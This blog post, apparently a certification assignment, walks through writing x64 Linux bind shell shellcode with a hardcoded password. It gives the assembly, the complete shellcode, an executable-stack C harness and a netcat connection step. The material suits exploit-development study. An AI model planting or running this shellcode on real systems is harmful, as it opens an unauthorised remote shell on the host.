x64 SLAE — Assignment 1: Bind Shell

Adam
6 min readDec 1, 2019

--

The first assignment for the x64 SLAE exam involves creating shellcode that will create a bind shell with authentication when executed. Bind shells listen on a designated port for incoming connections with commands to execute. The difference with a typical bind shell and one created here is that this one requires authentication (i.e. a specific password to be received) before it can be used. The steps to create bind shell shellcode with authentication are as follows:

  1. Create socket
  2. Bind socket to a port
  3. Start listening for incoming connections
  4. Accept incoming connections
  5. Read and validate password
  6. Redirect STDIN, STDOUT, and STDERR
  7. Execute commands within the incoming connections

Create socket

Before anything else, a socket must be created. The underlying system call that creates a socket is sys_socket. To execute this system call we need to move the following arguments into their respective registers:

sys_socket    rax -> system call number (41 or 0x29)    rdi -> socket family (0x02)    rsi -> type of socket (0x01)    rdx -> protocol (0x00)
For more information see the x64 Linux Syscall Reference page

The assembly to setup and call this function is:

socket:
; rax -> 41
push 0x29
pop rax
; rdi -> 2
push 0x02
pop rdi
; rsi -> 1
push 0x01
pop rsi
; rdx -> 0
xor edx, edx
; execute system call
syscall

Bind socket to a port

Next, the socket needs to be bound to a given port. To do this, the sys_bind system call will be leveraged. These arguments are as follows:

sys_bind   rax -> system call number (49 or 0x31)   rdi -> socket file descriptor (saved from socket syscall)   rsi -> struct sokaddr *umyaddr (indicating port 8080 is used)   rdx -> sokaddr length (16 or 0x10)For more information see the x64 Linux Syscall Reference page

The assembly to setup and call this function is:

bind:
; rdi -> socket file descriptor
mov rdi, rax
; rax -> 49
push 0x31
pop rax
; creating sockaddr data structure
push rdx ; pushing padding
push rdx ; pushing INADDR_ANY (0)
push word 0x901f ; pushing PORT (8080)
push word 0x02 ; pushing AF_INET (2)
; rsi -> address of sockaddr data structure
mov rsi, rsp
; rdx -> 16
add rdx, 0x10
; execute system call
syscall

Start listening for incoming connections

Now that the socket has been bound to a port, a listener needs to be setup. The sys_listen system call will be leveraged. To execute this system call the following arguments need to be moved into their respective registers:

sys_listen   rax -> system call number (50 or 0x32)   rdi -> socket file descriptor (saved from socket syscall)   rsi -> backlog (0 or 0x00)For more information see the x64 Linux Syscall Reference page

The assembly to setup and call this function is:

listen:
; rax -> 50
push 0x32
pop rax
; rdi -> already setup ; rsi -> 0
xor rsi, rsi
; execute system call
syscall

Accept incoming connections

With a socket listening for incoming connections the bind shell has to execute another function to accept them. sys_accept will be leveraged for this. To execute this system call we need to move the following arguments into their respective registers:

sys_accept   rax -> system call number (43 or 0x2b)   rdi -> socket file descriptor (saved from socket syscall)   rsi -> struct sokaddr *umyaddr   rdx -> int *upeer_addrlen (saved from previous syscall)For more information see the x64 Linux Syscall Reference page

The assembly to setup and call this function is:

accept:
; rax -> 43
push 0x2b
pop rax
; rdi & rsi -> already setup ; rdx -> 0
mov rdx, rsi
; execute system call
syscall
; save fd
mov r9, rax

Read and validate password

In order to authenticate that the proper user is leveraging the bind shell, the password is first read with sys_read then the retrieved password is compared with a hardcoded password. If the retrieved password matches the hardcoded one, the user will be able to execute commands against the target host.

The system call arguments to execute read are as follows:

sys_read   rax -> system call number (0 or 0x00)   rdi -> int fd to read from (the socket file descriptor)   rsi -> pointer to store what is read (the stack)   rdx -> how many bytes to read (slightly larger than our password)For more information see the x64 Linux Syscall Reference page

The full shellcode with the read and string compare is as follows:

authenticate:
; read
mov rax, rsi
; rdi -> fd
mov rdi, r9
; rsi -> allocated room on stack
sub rsp, 0x10
mov rsi, rsp
; rdx -> bytes to read (8)
mov dl, 0x10
; execute system call
syscall
; compare ; rax -> hardcoded password ("1234567\n")
mov rax, 0x0a37363534333231
; rdi -> supplied password
mov rdi, rsi
; compare rax and rdi
scasq
; if not match then jump to finished
jne finish

Redirect STDIN, STDOUT, and STDERR

Having successfully set the bind shell to accept incoming connections, STDIN/OUT/ERR need to be redirected to the bind shell so the receiver can interpret the results of their command. The dup2 system call must be leveraged. To execute this system call we need to move the following arguments into their respective registers:

sys_dup2   rax -> system call number (33 or 0x21)   rdi -> old file descriptor   rsi -> new file descriptorFor more information see the x64 Linux Syscall Reference page

The assembly to setup and call this function is:

file_descriptors:   ; rsi -> 2
push 0x02
pop rsi
; rdi -> file descriptor
mov rdi, r9
loop:
; rax -> 33
push 0x21
pop rax
; execute system call
syscall
; decrement file descriptor
dec rsi
; repeat
jns loop

Execute commands within the incoming connections

Last but not least, we need to take the incoming commands that we receive and execute them. This is performed with the execve system call. To execute this system call we need to move the following arguments into their respective registers:

sys_execve   rax -> system call number (59 or 0x3b)   rdi -> const char *filename ("//bin/sh")   rsi ->  const char *const argv[]("//bin/sh", "//bin/sh", 0)   rdx -> const char *const envp[] (0 or 0x00)For more information see the x64 Linux Syscall Reference page

The assembly to setup and call this function is:

execute:   ; move null (0) to stack
xor rdx, rdx
push rdx
; rbx -> '//bin/sh'[::-1].encode('Hex')
mov rbx, 0x68732f6e69622f2f
; moving RBX to the stack
push rbx
; rdi -> address of '//bin/sh'[::-1].encode('Hex')
mov rdi, rsp
; move null (0) to stack
push rdx
; rsi -> address of argv struct
push rdi
mov rsi, rsp
; rax -> 59
push 0x3b
pop rax
; execute system call
syscall

Results

Compile the shellcode with the following commands:

nasm -f elf64 bind.nasmld bind.o -o bind for i in $(objdump -D bind | grep "^ "|cut -f2); do echo -n '\\x'$i; done; echo

And it will output the following shellcode:

"\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x31\xd2\x0f\x05\x48\x89\xc7\x6a\x31\x58\x52\x52\x66\x68\x1f\x90\x66\x6a\x02\x48\x89\xe6\x48\x83\xc2\x10\x0f\x05\x6a\x32\x58\x48\x31\xf6\x0f\x05\x6a\x2b\x58\x48\x89\xf2\x0f\x05\x49\x89\xc1\x48\x89\xf0\x4c\x89\xcf\x48\x83\xec\x10\x48\x89\xe6\xb2\x10\x0f\x05\x48\xb8\x31\x32\x33\x34\x35\x36\x37\x0a\x48\x89\xf7\x48\xaf\x75\x2c\x6a\x02\x5e\x4c\x89\xcf\x6a\x21\x58\x0f\x05\x48\xff\xce\x79\xf6\x48\x31\xd2\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x6a\x3b\x58\x0f\x05\x6a\x3c\x58\x0f\x05"

Place the above shellcode in a C harness like so:

#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x31\xd2\x0f\x05\x48\x89\xc7\x6a\x31\x58\x52\x52\x66\x68\x1f\x90\x66\x6a\x02\x48\x89\xe6\x48\x83\xc2\x10\x0f\x05\x6a\x32\x58\x48\x31\xf6\x0f\x05\x6a\x2b\x58\x48\x89\xf2\x0f\x05\x49\x89\xc1\x48\x89\xf0\x4c\x89\xcf\x48\x83\xec\x10\x48\x89\xe6\xb2\x10\x0f\x05\x48\xb8\x31\x32\x33\x34\x35\x36\x37\x0a\x48\x89\xf7\x48\xaf\x75\x2c\x6a\x02\x5e\x4c\x89\xcf\x6a\x21\x58\x0f\x05\x48\xff\xce\x79\xf6\x48\x31\xd2\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x6a\x3b\x58\x0f\x05\x6a\x3c\x58\x0f\x05";
int main()
{
int (*ret)() = (int(*)()) code;
ret();
return 0;
}

Compile it:

gcc -fno-stack-protector -z execstack -o harness harness.c

Execute the harness, use netcat to access it (nc 127.0.0.1 8080), and provide the password “1234567” to receive the shell:

This blog post has been created for completing the requirements of the x86_64 SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: PA-11200

The source code for this assignment can be found here.

--

--

Adam

Security consultant | Web, telecom, IoT security